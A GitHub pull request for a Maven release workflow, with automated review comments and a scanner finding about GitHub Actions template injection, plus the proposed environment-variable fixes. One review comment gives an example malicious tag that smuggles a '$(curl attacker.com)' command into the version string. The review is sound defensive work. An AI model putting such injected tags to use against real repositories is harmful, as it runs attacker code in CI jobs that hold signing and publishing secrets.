fix: validate version format in release workflow#1954
Conversation
📝 WalkthroughWalkthroughThe Maven release workflow gains a "Validate version" step that fails if the tag does not match the ChangesRelease Workflow Hardening
Estimated code review effort🎯 1 (Trivial) | ⏱️ ~3 minutes Poem
🚥 Pre-merge checks | ✅ 5✅ Passed checks (5 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
|
There was a problem hiding this comment.
Actionable comments posted: 1
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
.github/workflows/release.yml (1)
80-80:⚠️ Potential issue | 🔴 Critical | ⚡ Quick winPre-existing template injection in the Release step.
Line 80 uses the same vulnerable pattern that the PR fixes in the Post release step:
-Dnisse.jgit.dynamicVersion=${{ steps.version.outputs.version }}For consistency with the PR's security objectives, this should also use an environment variable.
♻️ Suggested fix
Add
RELEASE_VERSIONto theenv:block (lines 72-78):- name: Release env: MAVEN_GPG_PASSPHRASE: ${{ secrets.GPG_PASSPHRASE }} MAVEN_GPG_KEY: ${{ secrets.GPG_SIGNING_KEY }} MAVEN_GPG_KEY_FINGERPRINT: ${{ secrets.GPG_KEY_FINGERPRINT }} MAVEN_USER: ${{ secrets.MAVEN_USER }} MAVEN_PASSWORD: ${{ secrets.MAVEN_PASSWORD }} MVX_USE_SYSTEM_JAVA: true + RELEASE_VERSION: ${{ steps.version.outputs.version }} run: | - ./mvx mvn -B deploy -Dnjord.autoPublish -Dnisse.jgit.dynamicVersion=${{ steps.version.outputs.version }} -Pbundle,javadoc,format-check,sign -s .github/release-settings.xml + ./mvx mvn -B deploy -Dnjord.autoPublish -Dnisse.jgit.dynamicVersion="$RELEASE_VERSION" -Pbundle,javadoc,format-check,sign -s .github/release-settings.xml🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/release.yml at line 80, The Release step on line 80 contains a template injection vulnerability using ${{ steps.version.outputs.version }} directly in the Maven command, which should be fixed using an environment variable like the PR does in the Post release step. Add a RELEASE_VERSION environment variable to the env block (lines 72-78) that captures the value from steps.version.outputs.version, then replace the inline template syntax on line 80 with a reference to this environment variable to eliminate the template injection risk.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/release.yml:
- Around line 62-70: The "Validate version" step uses direct template
interpolation of ${{ steps.version.outputs.version }} in the run block, creating
a template injection vulnerability where shell metacharacters could execute
before validation. Instead of using the template directly in the shell command,
define the version as an environment variable in the step (using env: section),
then reference that environment variable within the run block using standard
bash variable syntax without template brackets. This ensures the version string
is treated as data rather than being interpreted by the template engine before
the regex validation runs.
---
Outside diff comments:
In @.github/workflows/release.yml:
- Line 80: The Release step on line 80 contains a template injection
vulnerability using ${{ steps.version.outputs.version }} directly in the Maven
command, which should be fixed using an environment variable like the PR does in
the Post release step. Add a RELEASE_VERSION environment variable to the env
block (lines 72-78) that captures the value from steps.version.outputs.version,
then replace the inline template syntax on line 80 with a reference to this
environment variable to eliminate the template injection risk.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 1c2859db-1594-4f56-bbc2-01c678d301d5
📒 Files selected for processing (1)
.github/workflows/release.yml
| - name: Validate version | ||
| run: | | ||
| version="${{ steps.version.outputs.version }}" | ||
| if [[ ! "$version" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]]; then | ||
| echo "::error::Invalid version format: '$version' (expected X.Y.Z)" | ||
| exit 1 | ||
| fi | ||
| echo "Version validated: $version" | ||
|
|
There was a problem hiding this comment.
Template injection vulnerability in the validation step itself.
Line 64 uses direct template interpolation ${{ steps.version.outputs.version }} in the run: block. This creates the same injection vector that the PR aims to fix in the Post release step.
Attack scenario:
A malicious tag like 1.0.0$(curl attacker.com) would cause GitHub Actions to expand line 64 into:
version="1.0.0$(curl attacker.com)"The shell executes the command substitution before the regex check on line 65 runs, so the malicious code executes even though validation ultimately fails.
Fix:
Use an environment variable (the same pattern correctly applied on lines 86, 90, 121):
🔒 Proposed fix
- name: Validate version
+ env:
+ VERSION_TO_VALIDATE: ${{ steps.version.outputs.version }}
run: |
- version="${{ steps.version.outputs.version }}"
+ version="$VERSION_TO_VALIDATE"
if [[ ! "$version" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
echo "::error::Invalid version format: '$version' (expected X.Y.Z)"
exit 1🧰 Tools
🪛 zizmor (1.25.2)
[info] 64-64: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/release.yml around lines 62 - 70, The "Validate version"
step uses direct template interpolation of ${{ steps.version.outputs.version }}
in the run block, creating a template injection vulnerability where shell
metacharacters could execute before validation. Instead of using the template
directly in the shell command, define the version as an environment variable in
the step (using env: section), then reference that environment variable within
the run block using standard bash variable syntax without template brackets.
This ensures the version string is treated as data rather than being interpreted
by the template engine before the regex validation runs.
Add explicit validation of the version output against a strict semver pattern before it is consumed in the deploy and post-release steps. This addresses a potential template injection vector flagged by security scanners.
Changes:
^[0-9]+\.[0-9]+\.[0-9]+$before proceeding${{ steps.version.outputs.version }}interpolation in the Post release step'srun:block with an environment variable (RELEASE_VERSION) to avoid template injectionSummary by CodeRabbit